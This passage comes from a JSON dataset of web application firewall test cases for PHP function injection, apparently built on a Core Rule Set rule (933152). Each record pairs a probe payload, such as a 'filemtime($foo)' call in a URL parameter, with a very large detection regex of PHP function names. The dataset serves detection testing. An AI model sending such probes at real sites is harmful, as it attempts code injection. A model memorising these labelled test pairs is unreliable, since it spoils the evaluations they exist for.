sg(?:_(?:(?:get_queu|re(?:ceiv|move_queu))e|queue_exists|s(?:e(?:nd|t_queue)|tat_queue))|fmt_(?:create|(?:format|parse)(?:_message)?|get_(?:(?:error_(?:cod|messag)|local)e|pattern)|set_pattern))|t_(?:getrandmax|s?rand)|ysqli_(?:a(?:ffected_rows|utocommit)|begin_transaction|c(?:ha(?:nge_user|racter_set_name)|lose|o(?:mmit|nnect(?:_err(?:no|or))?))|d(?:ata_seek|ebug|ump_debug_info)|e(?:rr(?:no|or(?:_list)?)|xecute_query)|f(?:etch_(?:a(?:ll|rray|ssoc)|column|field(?:_direct|s)?|lengths|object|row)|ield_(?:count|seek|tell)|ree_result)|get_(?:c(?:harset|lient_(?:info|stats|version)|onnection_stats)|(?:host|proto)_info|(?:links_stat|warning)s|server_(?:info|version))|in(?:fo|it|sert_id)|kill|m(?:ore_results|ulti_query)|n(?:ext_result|um_(?:field|row)s)|options|p(?:ing|oll|repare)|query|r(?:e(?:a(?:l_(?:connect|escape_string|query)|p_async_query)|fresh|(?:lease_savepoin|por)t)|ollback)|s(?:(?:avepoin|sl_se)t|e(?:lect_db|t_charset)|qlstate|t(?:(?:a|ore_resul)t|mt_(?:a(?:ffected_rows|ttr_[gs]et)|bind_(?:param|result)|close|data_seek|e(?:rr(?:no|or(?:_list)?)|xecute)|f(?:etch|(?:ield_coun|ree_resul)t)|get_(?:result|warnings)|in(?:it|sert_id)|more_results|n(?:ext_result|um_rows)|p(?:aram_count|repare)|res(?:et|ult_metadata)|s(?:end_long_data|qlstate|tore_result))))|thread_(?:id|safe)|(?:use_resul|warning_coun)t))|n(?:(?:at(?:case)?sor|gettex)t|et_get_interfaces|l(?:2br|_langinfo)|ormalizer_(?:get_raw_decomposition|is_normalized|normalize)|umfmt_(?:create|(?:format|parse)(?:_currency)?|get_(?:(?:(?:text_)?attribut|error_(?:cod|messag)|local)e|pattern|symbol)|set_(?:(?:text_)?attribute|pattern|symbol)))|o(?:b_(?:clean|end_(?:clean|flush)|(?:implicit_)?flush|g(?:et_(?:c(?:lean|ontents)|flush|le(?:ngth|vel)|status)|zhandler)|list_handlers)|c(?:i(?:_(?:(?:bind_(?:array_)?|define_)by_name|c(?:ancel|l(?:ient_version|ose)|o(?:llection_(?:a(?:ppend|ssign)|element_(?:assign|get)|max|size|trim)|(?:mmi|nnec)t))|e(?:rror|xecute)|f(?:etch(?:_(?:a(?:ll|rray|ssoc)|object|row))?|ield_(?:is_null|(?:nam|s(?:cal|iz))e|precision|type(?:_raw)?)|ree_(?:collection|descriptor|statement))|get_implicit_resultset|lob_(?:(?:appen|loa|re(?:a|win))d|copy|e(?:of|rase|xport)|flush|i(?:mport|s_equal)|s(?:(?:av|iz)e|eek)|t(?:ell|runcate)|write)|n(?:ew_(?:c(?:o(?:llection|nnect)|ursor)|descriptor)|um_(?:field|row)s)|p(?:a(?:rs|ssword_chang)e|connect)|r(?:e(?:gister_taf_callback|sult)|ollback)|s(?:e(?:rver_version|t_(?:(?:ac|db_opera|edi)tion|c(?:all_timeout|lient_i(?:dentifier|nfo))|module_name|prefetch(?:_lob)?))|tatement_type)|unregister_taf_callback)|fetchinto|[gs]etbufferinglob)|tdec)|dbc_(?:autocommit|(?:binmod|data_sourc)e|c(?:lose(?:_all)?|o(?:lumn(?:privilege)?s|mmit|nnect(?:ion_string_(?:is_quoted|(?:should_)?quote))?)|ursor)|e(?:rror(?:msg)?|xec(?:ute)?)|f(?:etch_(?:array|into|object|row)|ield_(?:len|n(?:ame|um)|(?:scal|typ)e)|oreignkeys|ree_result)|gettypeinfo|longreadlen|n(?:ext_result|um_(?:field|row)s)|p(?:connect|r(?:epare|(?:imarykey|ocedure(?:column)?)s))|r(?:esult(?:_all)?|ollback)|s(?:etoption|(?:pecialcolumn|tatistic)s)|table(?:privilege)?s)|p(?:cache_(?:compile_file|get_(?:configuration|status)|i(?:nvalidate|s_script_cached)|reset)|en(?:dir|log|ssl_(?:c(?:ipher_(?:iv|key)_length|ms_(?:(?:de|en)crypt|read|sign|verify)|sr_(?:export(?:_to_file)?|get_(?:public_key|subject)|new|sign))|d(?:(?:ecryp|iges)t|h_compute_key)|e(?:ncrypt|rror_string)|(?:get_(?:c(?:ert_location|ipher_method|urve_name)|md_method)|random_pseudo_byte)s|open|p(?:bkdf2|k(?:cs(?:12_(?:export(?:_to_file)?|read)|7_(?:(?:de|en)crypt|read|sign|verify))|ey_(?:(?:deriv|fre)e|export(?:_to_file)?|get_(?:details|p(?:rivate|ublic))|new))|(?:rivate|ublic)_(?:de|en)crypt)|s(?:eal|ign|pki_(?:export(?:_challenge)?|new|verify))|verify|x509_(?:check(?:_private_key|purpose)|export(?:_to_file)?|f(?:ingerprint|ree)|parse|read|verify))))|utput_(?:add_rewrite_var|reset_rewrite_vars))|p(?:a(?:rse_(?:ini_(?:file|string)|str)|ss(?:thru|word_(?:algos|get_info|(?:needs_re)?hash|verify))|thinfo)|c(?:lose|ntl_(?:a(?:larm|sync_signals)|exec|forkx?|get(?:_last_error|priority)|rfork|s(?:etpriority|ig(?:nal(?:_(?:dispatch|get_handler))?|procmask|timedwait|waitinfo)|trerror)|unshare|w(?:ait(?:pid)?|exitstatus|if(?:continu|exit|s(?:ignal|topp))ed|(?:stop|term)sig)))|do_drivers|fsockopen|g_(?:(?:affected_row|num_(?:field|row)|option)s|c(?:ancel_query|l(?:ient_encoding|ose)|o(?:n(?:nect(?:_poll|ion_(?:busy|reset|status))?|(?:sume_inpu|ver)t)|py_(?:from|to)))|d(?:bnam|elet)e|e(?:n(?:d_copy|ter_pipeline_mode)|scape_(?:bytea|identifier|literal|string)|x(?:ecut|it_pipeline_mod)e)|f(?:etch_(?:a(?:ll(?:_columns)?|rray|ssoc)|object|r(?:esult|ow))|ield(?:_(?:is_null|n(?:ame|um)|prtlen|size|t(?:able|ype(?:_oid)?))|isnull|prtlen)|lush|ree_result)|get_(?:notify|pid|result)|(?:hos|inser)t|l(?:ast_(?:error|notice|oid)|o_(?:(?:c(?:los|reat)|writ)e|(?:ex|im)port|open|read(?:_all)?|(?:see|unlin)k|t(?:ell|runcate)))|meta_data|p(?:arameter_status|(?:connec|or)t|i(?:ng|peline_s(?:tatus|ync))|(?:repar|ut_lin)e)|query(?:_params)?|result_(?:error(?:_field)?|s(?:eek|tatus))|s(?:e(?:lect|nd_(?:(?:execut|prepar)e|query(?:_params)?)|t_(?:client_encoding|error_(?:context_visibil|verbos)ity))|ocket)|t(?:ra(?:ce|nsaction_status)|ty)|u(?:n(?:escape_bytea|trace)|pdate)|version)|hp(?:_(?:ini_(?:loaded_file|scanned_files)|(?:s(?:api_nam|trip_whitespac)|unam)e)|credits|dbg_(?:break_(?:f(?:ile|unction)|method|next)|c(?:lea|olo)r|e(?:nd_oplog|xec)|get_executable|prompt|start_oplog)|info|version)|osix_(?:e?access|ctermid|f?pathconf|get(?:_last_error|(?:cw|(?:e[gu]|[su])i)d|g(?:id|r(?:gid|nam|oups))|login|p(?:g(?:id|rp)|p?id|w(?:nam|uid))|rlimit)|i(?:nitgroups|satty)|kill|mk(?:fifo|nod)|s(?:et(?:(?:e[gu]|p?g|[su])id|rlimit)|trerror|ysconf)|t(?:imes|tyname)|uname)|r(?:eg_(?:filter|grep|last_error(?:_msg)?|match_all|quote|replace_callback(?:_array)?|split)|o(?:c_(?:(?:clos|nic|terminat)e|get_status|open)|perty_exists))|spell_(?:add_to_(?:personal|session)|c(?:heck|lear_session|onfig_(?:(?:creat|ignor|mod)e|d(?:ata|ict)_dir|(?:persona|save_rep)l|r(?:epl|untogether)))|new(?:_(?:config|personal))?|s(?:(?:ave_wordli|ugge)s|tore_replacemen)t)|utenv)|quote(?:d_printable_(?:de|en)code|meta))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933152", "test_description": "pmf + chain" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=filemtime%28%24foo%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:kr?sort|l(?:c(?:first|g_value|h(?:grp|own))|dap_(?:8859_to_t61|(?:ad|bin)d(?:_ext)?|co(?:mpare|nnect(?:_wallet)?|unt_(?:entri|referenc)es)|d(?:elete(?:_ext)?|n2ufn)|e(?:rr(?:(?:2st|o)r|no)|scape|x(?:op(?:_(?:passwd|refresh|sync|whoami))?|plode_dn))|f(?:irst_(?:(?:attribut|referenc)e|entry)|ree_result)|get_(?:(?:attribut|entri)es|(?:d|optio|values_le)n)|list|mod(?:_(?:add|del|replace)(?:_ext)?|ify_batch)|next_(?:(?:attribut|referenc)e|entry)|parse_(?:exop|re(?:ference|sult))|re(?:ad|name(?:_ext)?)|s(?:asl_bind|e(?:arch|t_(?:option|rebind_proc))|tart_tls)|t61_to_8859|unbind)|evenshtein|i(?:bxml_(?:(?:clear|use_internal)_errors|disable_entity_loader|get_(?:e(?:rrors|xternal_entity_loader)|last_error)|set_(?:external_entity_loader|streams_context))|nkinfo|tespeed_(?:finish_request|re(?:quest|sponse)_headers))|o(?:cal(?:e(?:_(?:(?:accept_from_htt|looku)p|(?:c(?:anonicaliz|ompos)|pars)e|filter_matches|get_(?:(?:all_variant|keyword)s|d(?:efault|isplay_(?:(?:languag|nam)e|region|(?:scrip|varian)t))|primary_language|region|script)|set_default)|conv)|time)|g1[0p]|ng2ip)|stat|trim)|m(?:b_(?:c(?:h(?:eck_encoding|r)|onvert_(?:case|encoding|kana|variables))|de(?:code_(?:mimeheader|numericentity)|tect_(?:encoding|order))|e(?:ncod(?:e_(?:mimeheader|numericentity)|ing_aliases)|reg(?:_(?:match|replace(?:_callback)?|search(?:_(?:(?:get(?:po|reg)|(?:set)?po|reg)s|init))?)|i(?:_replace)?)?)|get_info|http_(?:in|out)put|internal_encoding|l(?:anguage|ist_encodings)|o(?:rd|utput_handler)|p(?:arse_str|referred_mime_name)|regex_(?:encoding|set_options)|s(?:crub|end_mail|plit|tr(?:_(?:pad|split)|cut|i(?:mwidth|pos|str)|len|pos|r(?:chr|i(?:chr|pos)|pos)|(?:st|to(?:low|upp)e)r|width)|ubst(?:itute_character|r(?:_count)?)))|(?:(?:d5|ove_uploaded)_fil|e(?:mory_(?:get_(?:peak_)?|reset_peak_)usag|taphon)|i(?:crotim|me_content_typ))e|hash(?:_(?:count|get_(?:block_siz|hash_nam)e|keygen_s2k))?|k(?:dir|time)|sg(?:_(?:(?:get_queu|re(?:ceiv|move_queu))e|queue_exists|s(?:e(?:nd|t_queue)|tat_queue))|fmt_(?:create|(?:format|parse)(?:_message)?|get_(?:(?:error_(?:cod|messag)|local)e|pattern)|set_pattern))|t_(?:getrandmax|s?rand)|ysqli_(?:a(?:ffected_rows|utocommit)|begin_transaction|c(?:ha(?:nge_user|racter_set_name)|lose|o(?:mmit|nnect(?:_err(?:no|or))?))|d(?:ata_seek|ebug|ump_debug_info)|e(?:rr(?:no|or(?:_list)?)|xecute_query)|f(?:etch_(?:a(?:ll|rray|ssoc)|column|field(?:_direct|s)?|lengths|object|row)|ield_(?:count|seek|tell)|ree_result)|get_(?:c(?:harset|lient_(?:info|stats|version)|onnection_stats)|(?:host|proto)_info|(?:links_stat|warning)s|server_(?:info|version))|in(?:fo|it|sert_id)|kill|m(?:ore_results|ulti_query)|n(?:ext_result|um_(?:field|row)s)|options|p(?:ing|oll|repare)|query|r(?:e(?:a(?:l_(?:connect|escape_string|query)|p_async_query)|fresh|(?:lease_savepoin|por)t)|ollback)|s(?:(?:avepoin|sl_se)t|e(?:lect_db|t_charset)|qlstate|t(?:(?:a|ore_resul)t|mt_(?:a(?:ffected_rows|ttr_[gs]et)|bind_(?:param|result)|close|data_seek|e(?:rr(?:no|or(?:_list)?)|xecute)|f(?:etch|(?:ield_coun|ree_resul)t)|get_(?:result|warnings)|in(?:it|sert_id)|more_results|n(?:ext_result|um_rows)|p(?:aram_count|repare)|res(?:et|ult_metadata)|s(?:end_long_data|qlstate|tore_result))))|thread_(?:id|safe)|(?:use_resul|warning_coun)t))|n(?:(?:at(?:case)?sor|gettex)t|et_get_interfaces|l(?:2br|_langinfo)|ormalizer_(?:get_raw_decomposition|is_normalized|normalize)|umfmt_(?:create|(?:format|parse)(?:_currency)?|get_(?:(?:(?:text_)?attribut|error_(?:cod|messag)|local)e|pattern|symbol)|set_(?:(?:text_)?attribute|pattern|symbol)))|o(?:b_(?:clean|end_(?:clean|flush)|(?:implicit_)?flush|g(?:et_(?:c(?:lean|ontents)|flush|le(?:ngth|vel)|status)|zhandler)|list_handlers)|c(?:i(?:_(?:(?:bind_(?:array_)?|define_)by_name|c(?:ancel|l(?:ient_version|ose)|o(?:llection_(?:a(?:ppend|ssign)|element_(?:assign|get)|max|size|trim)|(?:mmi|nnec)t))|e(?:rror|xecute)|f(?:etch(?:_(?:a(?:ll|rray|ssoc)|object|row))?|ield_(?:is_null|(?:nam|s(?:cal|iz))e|precision|type(?:_raw)?)|ree_(?:collection|descriptor|statement))|get_implicit_resultset|lob_(?:(?:appen|loa|re(?:a|win))d|copy|e(?:of|rase|xport)|flush|i(?:mport|s_equal)|s(?:(?:av|iz)e|eek)|t(?:ell|runcate)|write)|n(?:ew_(?:c(?:o(?:llection|nnect)|ursor)|descriptor)|um_(?:field|row)s)|p(?:a(?:rs|ssword_chang)e|connect)|r(?:e(?:gister_taf_callback|sult)|ollback)|s(?:e(?:rver_version|t_(?:(?:ac|db_opera|edi)tion|c(?:all_timeout|lient_i(?:dentifier|nfo))|module_name|prefetch(?:_lob)?))|tatement_type)|unregister_taf_callback)|fetchinto|[gs]etbufferinglob)|tdec)|dbc_(?:autocommit|(?:binmod|data_sourc)e|c(?:lose(?:_all)?|o(?:lumn(?:privilege)?s|mmit|nnect(?:ion_string_(?:is_quoted|(?:should_)?quote))?)|ursor)|e(?:rror(?:msg)?|xec(?:ute)?)|f(?:etch_(?:array|into|object|row)|ield_(?:len|n(?:ame|um)|(?:scal|typ)e)|oreignkeys|ree_result)|gettypeinfo|longreadlen|n(?:ext_result|um_(?:field|row)s)|p(?:connect|r(?:epare|(?:imarykey|ocedure(?:column)?)s))|r(?:esult(?:_all)?|ollback)|s(?:etoption|(?:pecialcolumn|tatistic)s)|table(?:privilege)?s)|p(?:cache_(?:compile_file|get_(?:configuration|status)|i(?:nvalidate|s_script_cached)|reset)|en(?:dir|log|ssl_(?:c(?:ipher_(?:iv|key)_length|ms_(?:(?:de|en)crypt|read|sign|verify)|sr_(?:export(?:_to_file)?|get_(?:public_key|subject)|new|sign))|d(?:(?:ecryp|iges)t|h_compute_key)|e(?:ncrypt|rror_string)|(?:get_(?:c(?:ert_location|ipher_method|urve_name)|md_method)|random_pseudo_byte)s|open|p(?:bkdf2|k(?:cs(?:12_(?:export(?:_to_file)?|read)|7_(?:(?:de|en)crypt|read|sign|verify))|ey_(?:(?:deriv|fre)e|export(?:_to_file)?|get_(?:details|p(?:rivate|ublic))|new))|(?:rivate|ublic)_(?:de|en)crypt)|s(?:eal|ign|pki_(?:export(?:_challenge)?|new|verify))|verify|x509_(?:check(?:_private_key|purpose)|export(?:_to_file)?|f(?:ingerprint|ree)|parse|read|verify))))|utput_(?:add_rewrite_var|reset_rewrite_vars))|p(?:a(?:rse_(?:ini_(?:file|string)|str)|ss(?:thru|word_(?:algos|get_info|(?:needs_re)?hash|verify))|thinfo)|c(?:lose|ntl_(?:a(?:larm|sync_signals)|exec|forkx?|get(?:_last_error|priority)|rfork|s(?:etpriority|ig(?:nal(?:_(?:dispatch|get_handler))?|procmask|timedwait|waitinfo)|trerror)|unshare|w(?:ait(?:pid)?|exitstatus|if(?:continu|exit|s(?:ignal|topp))ed|(?:stop|term)sig)))|do_drivers|fsockopen|g_(?:(?:affected_row|num_(?:field|row)|option)s|c(?:ancel_query|l(?:ient_encoding|ose)|o(?:n(?:nect(?:_poll|ion_(?:busy|reset|status))?|(?:sume_inpu|ver)t)|py_(?:from|to)))|d(?:bnam|elet)e|e(?:n(?:d_copy|ter_pipeline_mode)|scape_(?:bytea|identifier|literal|string)|x(?:ecut|it_pipeline_mod)e)|f(?:etch_(?:a(?:ll(?:_columns)?|rray|ssoc)|object|r(?:esult|ow))|ield(?:_(?:is_null|n(?:ame|um)|prtlen|size|t(?:able|ype(?:_oid)?))|isnull|prtlen)|lush|ree_result)|get_(?:notify|pid|result)|(?:hos|inser)t|l(?:ast_(?:error|notice|oid)|o_(?:(?:c(?:los|reat)|writ)e|(?:ex|im)port|open|read(?:_all)?|(?:see|unlin)k|t(?:ell|runcate)))|meta_data|p(?:arameter_status|(?:connec|or)t|i(?:ng|peline_s(?:tatus|ync))|(?:repar|ut_lin)e)|query(?:_params)?|result_(?:error(?:_field)?|s(?:eek|tatus))|s(?:e(?:lect|nd_(?:(?:execut|prepar)e|query(?:_params)?)|t_(?:client_encoding|error_(?:context_visibil|verbos)ity))|ocket)|t(?:ra(?:ce|nsaction_status)|ty)|u(?:n(?:escape_bytea|trace)|pdate)|version)|hp(?:_(?:ini_(?:loaded_file|scanned_files)|(?:s(?:api_nam|trip_whitespac)|unam)e)|credits|dbg_(?:break_(?:f(?:ile|unction)|method|next)|c(?:lea|olo)r|e(?:nd_oplog|xec)|get_executable|prompt|start_oplog)|info|version)|osix_(?:e?access|ctermid|f?pathconf|get(?:_last_error|(?:cw|(?:e[gu]|[su])i)d|g(?:id|r(?:gid|nam|oups))|login|p(?:g(?:id|rp)|p?id|w(?:nam|uid))|rlimit)|i(?:nitgroups|satty)|kill|mk(?:fifo|nod)|s(?:et(?:(?:e[gu]|p?g|[su])id|rlimit)|trerror|ysconf)|t(?:imes|tyname)|uname)|r(?:eg_(?:filter|grep|last_error(?:_msg)?|match_all|quote|replace_callback(?:_array)?|split)|o(?:c_(?:(?:clos|nic|terminat)e|get_status|open)|perty_exists))|spell_(?:add_to_(?:personal|session)|c(?:heck|lear_session|onfig_(?:(?:creat|ignor|mod)e|d(?:ata|ict)_dir|(?:persona|save_rep)l|r(?:epl|untogether)))|new(?:_(?:config|personal))?|s(?:(?:ave_wordli|ugge)s|tore_replacemen)t)|utenv)|quote(?:d_printable_(?:de|en)code|meta))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933152", "test_description": "non-dangerous PHP functions, removed to reduce FP" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "odbc_connection_string_should_quote(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:kr?sort|l(?:c(?:first|g_value|h(?:grp|own))|dap_(?:8859_to_t61|(?:ad|bin)d(?:_ext)?|co(?:mpare|nnect(?:_wallet)?|unt_(?:entri|referenc)es)|d(?:elete(?:_ext)?|n2ufn)|e(?:rr(?:(?:2st|o)r|no)|scape|x(?:op(?:_(?:passwd|refresh|sync|whoami))?|plode_dn))|f(?:irst_(?:(?:attribut|referenc)e|entry)|ree_result)|get_(?:(?:attribut|entri)es|(?:d|optio|values_le)n)|list|mod(?:_(?:add|del|replace)(?:_ext)?|ify_batch)|next_(?:(?:attribut|referenc)e|entry)|parse_(?:exop|re(?:ference|sult))|re(?:ad|name(?:_ext)?)|s(?:asl_bind|e(?:arch|t_(?:option|rebind_proc))|tart_tls)|t61_to_8859|unbind)|evenshtein|i(?:bxml_(?:(?:clear|use_internal)_errors|disable_entity_loader|get_(?:e(?:rrors|xternal_entity_loader)|last_error)|set_(?:external_entity_loader|streams_context))|nkinfo|tespeed_(?:finish_request|re(?:quest|sponse)_headers))|o(?:cal(?:e(?:_(?:(?:accept_from_htt|looku)p|(?:c(?:anonicaliz|ompos)|pars)e|filter_matches|get_(?:(?:all_variant|keyword)s|d(?:efault|isplay_(?:(?:languag|nam)e|region|(?:scrip|varian)t))|primary_language|region|script)|set_default)|conv)|time)|g1[0p]|ng2ip)|stat|trim)|m(?:b_(?:c(?:h(?:eck_encoding|r)|onvert_(?:case|encoding|kana|variables))|de(?:code_(?:mimeheader|numericentity)|tect_(?:encoding|order))|e(?:ncod(?:e_(?:mimeheader|numericentity)|ing_aliases)|reg(?:_(?:match|replace(?:_callback)?|search(?:_(?:(?:get(?:po|reg)|(?:set)?po|reg)s|init))?)|i(?:_replace)?)?)|get_info|http_(?:in|out)put|internal_encoding|l(?:anguage|ist_encodings)|o(?:rd|utput_handler)|p(?:arse_str|referred_mime_name)|regex_(?:encoding|set_options)|s(?:crub|end_mail|plit|tr(?:_(?:pad|split)|cut|i(?:mwidth|pos|str)|len|pos|r(?:chr|i(?:chr|pos)|pos)|(?:st|to(?:low|upp)e)r|width)|ubst(?:itute_character|r(?:_count)?)))|(?:(?:d5|ove_uploaded)_fil|e(?:mory_(?:get_(?:peak_)?|reset_peak_)usag|taphon)|i(?:crotim|me_content_typ))e|hash(?:_(?:count|get_(?:block_siz|hash_nam)e|keygen_s2k))?|k(?:dir|time)|sg(?:_(?:(?:get_queu|re(?:ceiv|move_queu))e|queue_exists|s(?:e(?:nd|t_queue)|tat_queue))|fmt_(?:create|(?:format|parse)(?:_message)?|get_(?:(?:error_(?:cod|messag)|local)e|pattern)|set_pattern))|t_(?:getrandmax|s?rand)|ysqli_(?:a(?:ffected_rows|utocommit)|begin_transaction|c(?:ha(?:nge_user|racter_set_name)|lose|o(?:mmit|nnect(?:_err(?:no|or))?))|d(?:ata_seek|ebug|ump_debug_info)|e(?:rr(?:no|or(?:_list)?)|xecute_query)|f(?:etch_(?:a(?:ll|rray|ssoc)|column|field(?:_direct|s)?|lengths|object|row)|ield_(?:count|seek|tell)|ree_result)|get_(?:c(?:harset|lient_(?:info|stats|version)|onnection_stats)|(?:host|proto)_info|(?:links_stat|warning)s|server_(?:info|version))|in(?:fo|it|sert_id)|kill|m(?:ore_results|ulti_query)|n(?:ext_result|um_(?:field|row)s)|options|p(?:ing|oll|repare)|query|r(?:e(?:a(?:l_(?:connect|escape_string|query)|p_async_query)|fresh|(?:lease_savepoin|por)t)|ollback)|s(?:(?:avepoin|sl_se)t|e(?:lect_db|t_charset)|qlstate|t(?:(?:a|ore_resul)t|mt_(?:a(?:ffected_rows|ttr_[gs]et)|bind_(?:param|result)|close|data_seek|e(?:rr(?:no|or(?:_list)?)|xecute)|f(?:etch|(?:ield_coun|ree_resul)t)|get_(?:result|warnings)|in(?:it|sert_id)|more_results|n(?:ext_result|um_rows)|p(?:aram_count|repare)|res(?:et|ult_metadata)|s(?:end_long_data|qlstate|tore_result))))|thread_(?:id|safe)|(?:use_resul|warning_coun)t))|n(?:(?:at(?:case)?sor|gettex)t|et_get_interfaces|l(?:2br|_langinfo)|ormalizer_(?:get_raw_decomposition|is_normalized|normalize)|umfmt_(?:create|(?:format|parse)(?:_currency)?|get_(?:(?:(?:text_)?attribut|error_(?:cod|messag)|local)e|pattern|symbol)|set_(?:(?:text_)?attribute|pattern|symbol)))|o(?:b_(?:clean|end_(?:clean|flush)|(?:implicit_)?flush|g(?:et_(?:c(?:lean|ontents)|flush|le(?:ngth|vel)|status)|zhandler)|list_handlers)|c(?:i(?:_(?:(?:bind_(?:array_)?|define_)by_name|c(?:ancel|l(?:ient_version|ose)|o(?:llection_(?:a(?:ppend|ssign)|element_(?:assign|get)|max|size|trim)|(?:mmi|nnec)t))|e(?:rror|xecute)|f(?:etch(?:_(?:a(?:ll|rray|ssoc)|object|row))?|ield_(?:is_null|(?:nam|s(?:cal|iz))e|precision|type(?:_raw)?)|ree_(?:collection|descriptor|statement))|get_implicit_resultset|lob_(?:(?:appen|loa|re(?:a|win))d|copy|e(?:of|rase|xport)|flush|i(?:mport|s_equal)|s(?:(?:av|iz)e|eek)|t(?:ell|runcate)|write)|n(?:ew_(?:c(?:o(?:llection|nnect)|ursor)|descriptor)|um_(?:field|row)s)|p(?:a(?:rs|ssword_chang)e|connect)|r(?:e(?:gister_taf_callback|sult)|ollback)|s(?:e(?:rver_version|t_(?:(?:ac|db_opera|edi)tion|c(?:all_timeout|lient_i(?:dentifier|nfo))|module_name|prefetch(?:_lob)?))|tatement_type)|unregister_taf_callback)|fetchinto|[gs]etbufferinglob)|tdec)|dbc_(?:autocommit|(?:binmod|data_sourc)e|c(?:lose(?:_all)?|o(?:lumn(?:privilege)?s|mmit|nnect(?:ion_string_(?:is_quoted|(?:should_)?quote))?)|ursor)|e(?:rror(?:msg)?|xec(?:ute)?)|f(?:etch_(?:array|into|object|row)|ield_(?:len|n(?:ame|um)|(?:scal|typ)e)|oreignkeys|ree_result)|gettypeinfo|longreadlen|n(?:ext_result|um_(?:field|row)s)|p(?:connect|r(?:epare|(?:imarykey|ocedure(?:column)?)s))|r(?:esult(?:_all)?|ollback)|s(?:etoption|(?:pecialcolumn|tatistic)s)|table(?:privilege)?s)|p(?:cache_(?:compile_file|get_(?:configuration|status)|i(?:nvalidate|s_script_cached)|reset)|en(?:dir|log|ssl_(?:c(?:ipher_(?:iv|key)_length|ms_(?:(?:de|en)crypt|read|sign|verify)|sr_(?:export(?:_to_file)?|get_(?:public_key|subject)|new|sign))|d(?:(?:ecryp|iges)t|h_compute_key)|e(?:ncrypt|rror_string)|(?:get_(?:c(?:ert_location|ipher_method|urve_name)|md_method)|random_pseudo_byte)s|open|p(?:bkdf2|k(?:cs(?:12_(?:export(?:_to_file)?|read)|7_(?:(?:de|en)crypt|read|sign|verify))|ey_(?:(?:deriv|fre)e|export(?:_to_file)?|get_(?:details|p(?:rivate|ublic))|new))|(?:rivate|ublic)_(?:de|en)crypt)|s(?:eal|ign|pki_(?:export(?:_challenge)?|new|verify))|verify|x509_(?:check(?:_private_key|purpose)|export(?:_to_file)?|f(?:ingerprint|ree)|parse|read|verify))))|utput_(?:add_rewrite_var|reset_rewrite_vars))|p(?:a(?:rse_(?:ini_(?:file|string)|str)|ss(?:thru|word_(?:algos|get_info|(?:needs_re)?hash|verify))|thinfo)|c(?:lose|ntl_(?:a(?:larm|sync_signals)|exec|forkx?|get(?:_last_error|priority)|rfork|s(?:etpriority|ig(?:nal(?:_(?:dispatch|get_handler))?|procmask|timedwait|waitinfo)|trerror)|unshare|w(?:ait(?:pid)?|exitstatus|if(?:continu|exit|s(?:ignal|topp))ed|(?:stop|term)sig)))|do_drivers|fsockopen|g_(?:(?:affected_row|num_(?:field|row)|option)s|c(?:ancel_query|l(?:ient_encoding|ose)|o(?:n(?:nect(?:_poll|ion_(?:busy|reset|status))?|(?:sume_inpu|ver)t)|py_(?:from|to)))|d(?:bnam|elet)e|e(?:n(?:d_copy|ter_pipeline_mode)|scape_(?:bytea|identifier|literal|string)|x(?:ecut|it_pipeline_mod)e)|f(?:etch_(?:a(?:ll(?:_columns)?|rray|ssoc)|object|r(?:esult|ow))|ield(?:_(?:is_null|n(?:ame|um)|prtlen|size|t(?:able|ype(?:_oid)?))|isnull|prtlen)|lush|ree_result)|get_(?:notify|pid|result)|(?:hos|inser)t|l(?:ast_(?:error|notice|oid)|o_(?:(?:c(?:los|reat)|writ)e|(?:ex|im)port|open|read(?:_all)?|(?:see|unlin)k|t(?:ell|runcate)))|meta_data|p(?:arameter_status|(?:connec|or)t|i(?:ng|peline_s(?:tatus|ync))|(?:repar|ut_lin)e)|query(?:_params)?|result_(?:error(?:_field)?|s(?:eek|tatus))|s(?:e(?:lect|nd_(?:(?:execut|prepar)e|query(?:_params)?)|t_(?:client_encoding|error_(?:context_visibil|verbos)ity))|ocket)|t(?:ra(?:ce|nsaction_status)|ty)|u(?:n(?:escape_bytea|trace)|pdate)|version)|hp(?:_(?:ini_(?:loaded_file|scanned_files)|(?:s(?:api_nam|trip_whitespac)|unam)e)|credits|dbg_(?:break_(?:f(?:ile|unction)|method|next)|c(?:lea|olo)r|e(?:nd_oplog|xec)|get_executable|prompt|start_oplog)|info|version)|osix_(?:e?access|ctermid|f?pathconf|get(?:_last_error|(?:cw|(?:e[gu]|[su])i)d|g(?:id|r(?:gid|nam|oups))|login|p(?:g(?:id|rp)|p?id|w(?:nam|uid))|rlimit)|i(?:nitgroups|satty)|kill|mk(?:fifo|nod)|s(?:et(?:(?:e[gu]|p?g|[su])id|rlimit)|trerror|ysconf)|t(?:imes|tyname)|uname)|r(?:eg_(?:filter|grep|last_error(?:_msg)?|match_all|quote|replace_callback(?:_array)?|split)|o(?:c_(?:(?:clos|nic|terminat)e|get_status|open)|perty_exists))|spell_(?:add_to_(?:personal|session)|c(?:heck|lear_session|onfig_(?:(?:creat|ignor|mod)e|d(?:ata|ict)_dir|(?:persona|save_rep)l|r(?:epl|untogether)))|new(?:_(?:config|personal))?|s(?:(?:ave_wordli|ugge)s|tore_replacemen)t)|utenv)|quote(?:d_printable_(?:de|en)code|meta))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933152", "test_description": "pmf + chain" } }, { "input": { 